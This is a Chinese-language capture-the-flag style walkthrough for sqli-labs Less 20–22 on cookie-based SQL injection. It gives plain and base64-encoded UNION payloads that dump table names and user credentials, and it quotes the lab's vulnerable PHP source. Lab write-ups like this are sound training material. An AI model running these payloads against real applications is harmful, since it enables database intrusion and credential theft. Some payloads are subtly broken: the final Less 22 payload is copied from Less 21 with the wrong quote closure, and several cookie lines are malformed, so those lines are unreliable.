sqli-labs 通关指南:Less 20 ~ 22
Less 20 ~ 22 都不能在登录界面进行注入,我们需要先发现注入点在 cookie 中。注入的过程和 Less 1 ~ 4 的 UNION 注入相同,不过 Less 21、22 意图利用编码的方式进行混淆和防御。
Less 20
POST-Cookie injections-Uagent field-Error based (基于错误的 cookie 头部 POST 注入)
判断注入类型
首先随便输入正确的用户名和密码进行登录,观察到网页回显了大量信息。再次刷新,Less 20 的页面没有变化,这应该是 cookie 起到的作用。cookie 是网站为了辨别用户身份,进行 Session 跟踪而储存在用户本地终端上的数据。想要回到登录页面,我们需要先把 cookie 清除掉。
判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
为了发现注入点,我们抓包看看,首先抓登录网页发的包,没有看见什么有用的信息。
登陆之后刷新页面,我们发现此时网页通过 cookie 记录用户登录状态,所以无需再次登录。注意到所抓到的包的 cookie 中存储了用户名,由此猜测 uname 字段是个注入点。
在 uname 中使用单引号闭合,网页回显语法错误,说明 cookie 存在字符型的 Sql 注入漏洞。
Cookie: uname=admin'
注入单引号之后用 “#” 把后面的内容注释掉,网页回显正常,说明该语句使用单引号闭合。
Cookie: uname=admin'#
获取数据库信息
首先我们判断有几列我们可用,因为网页回显了 Login name、Your Password 和 ID 3 个字段,猜测有 3 列我们可用。使用联合查询注入 3 个常数验证猜想,得到 3 列的回显位置。
Cookie: uname=' UNION SELECT 1,2,3#
接下来的注入操作和 Less 1 的操作一样,这里需要在 cookie 进行注入,爆数据库名。
Cookie: uname=' UNION SELECT database(),2,3#
爆表名。
Cookie: uname=' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema = 'security'#
爆字段名。
Cookie: uname=' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'#
获取目标信息
该关卡知道 Sql 注入点之后就很顺畅了,构造出 payload 如下:
Cookie: uname=' UNION SELECT group_concat(concat(":",username,password)),2,3 FROM security.users#
关卡源码
源码有两个关键部分,第一部分用于用户登录,可以看到 uname 和 passwd 都进行了强效的过滤。setcookie() 函数向客户端发送一个 HTTP cookie,当用户成功登录时会被调用。header() 函数向客户端发送原始的 HTTP 报头,此处可以让客户的页面跳转到 “index.php”。
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql = "SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
setcookie('uname', $cookee, time()+3600);
header ('Location: index.php');
echo "I LOVE YOU COOKIES";
echo "</font>";
echo '<font color= "#0000ff" font size = 3 >';
//echo 'Your Cookie is: ' .$cookee;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
第二部分是当 cookie 还未过期时,就把 cookie 中的 uname 剥离出来进行一个查询。如果查询用户存在,则把 HTTP 包中的 USER AGENT、IP ADDRESS 和 COOKIE 回显出来,并显示 username、password 和 id。在上面一个模块用户登录成功之后,也是进入这个模块显示的页面。当触发 “Delete Your Cookie!” 按钮时,可以手动把 cookie 给打掉。
if(!isset($_POST['submit']))
{
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "</font><br>";
echo '<font color= "cyan" font size="4">';
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "</font><br>";
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo '<font color= "orange" font size = 5 >';
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
echo "<br></font>";
$sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result = mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}
else
{
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/slap1.jpg" />';
echo "<br><br><b>";
//echo '<img src="../images/Less-20.jpg" />';
}
echo '<center>';
echo '<form action="" method="post">';
echo '<input type="submit" name="submit" value="Delete Your Cookie!" />';
echo '</form>';
echo '</center>';
}
else
{
echo '<center>';
echo "<br>";
echo '<font color= "#FFFF00" font size = 6 >';
echo " Your Cookie is deleted";
setcookie('uname', $row1['username'], time()-3600);
header ('Location: index.php');
echo '</font></center></br>';
}
Less 21
Cookie Injection-Error Based-complex-string (基于错误的复杂的字符型 Cookie 注入)
判断注入类型
输入正确的用户名和密码进行登录,和 Less 20 一样网页回显了大量信息,再次刷新 Less 21 的页面没有变化。判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
抓登录网页发的包,没有看见什么有用的信息。
登陆之后刷新页面抓包,所抓到的包的 cookie 中的 uname 存储了一团乱码。
“%3D” 是 URL 编码中的等号,这个形式我们会优先考虑是 base64 编码,拿去解码看看。
由此我们得知 cookie 会对 uname 进行 base64 编码,这种防御还是很弱的,我们测试的时候也进行 base64 编码即可。在 uname 中使用单引号闭合,网页回显语法错误。
Cookie: uname=YWRtaW4n
测试使用单引号和括号闭合,网页正常回显数据,说明 cookie 存在使用单引号和括号闭合的字符型的 Sql 注入漏洞。
Cookie: YWRtaW4nKSM=
获取数据库信息
判断有几列我们可用,使用联合查询注入 3 个常数,得到 3 列的回显位置。
Cookie: uname=JykgVU5JT04gU0VMRUNUIDEsMiwzIw==
接下来的注入操作和 Less 20 的操作一样,在注入之前使用 base64 编码,爆数据库名。
Cookie: uname=JykgVU5JT04gU0VMRUNUIGRhdGFiYXNlKCksMiwzIw==
爆表名。
Cookie: uname=JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwyLDMgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScj
爆字段名。
Cookie: uname=JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSksMiwzIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyBBTkQgdGFibGVfbmFtZSA9ICd1c2Vycycj
获取目标信息
构造出 payload 如下:
Cookie: dW5hbWU9JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb25jYXQoIjoiLHVzZXJuYW1lLHBhc3N3b3JkKSksMiwzIEZST00gc2VjdXJpdHkudXNlcnMj
关卡关键源码
setcookie('uname', base64_encode($row1['username']), time()+3600);
$cookee = base64_decode($cookee);
$sql = "SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result = mysql_query($sql);
Less 22
Cookie Injection-Error Based-Double Quotes-string (基于错误的双引号字符型 Cookie 注入)
判断注入类型
判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
登陆之后刷新页面抓包,所抓到的包的 cookie 中的 uname 存储了一团乱码。
“%3D” 是 URL 编码中的等号,Less 22 使用的也是 base64 编码。
在 uname 中使用单引号闭合,网页回显语法错误。
Cookie: uname=YWRtaW4n
测试使用双引号闭合,网页正常回显数据,说明 cookie 存在使用双引号闭合的字符型的 Sql 注入漏洞。
Cookie: YWRtaW4iIw==
获取数据库信息
判断有几列我们可用,使用联合查询注入 3 个常数,得到 3 列的回显位置。
Cookie: uname=IiBVTklPTiBTRUxFQ1QgMSwyLDMj
接下来的注入操作和 Less 20 的操作一样,在注入之前使用 base64 编码,爆数据库名。
Cookie: uname=IiBVTklPTiBTRUxFQ1QgZGF0YWJhc2UoKSwyLDMj
爆表名。
Cookie: uname=IiBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpLDIsMyBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyM=
爆字段名。
Cookie: uname=IiBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSwyLDMgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9zY2hlbWEgPSAnc2VjdXJpdHknIEFORCB0YWJsZV9uYW1lID0gJ3VzZXJzJyM=
获取目标信息
构造出 payload 如下:
Cookie: dW5hbWU9JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb25jYXQoIjoiLHVzZXJuYW1lLHBhc3N3b3JkKSksMiwzIEZST00gc2VjdXJpdHkudXNlcnMj
关卡关键源码
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
$sql = "SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
$result = mysql_query($sql);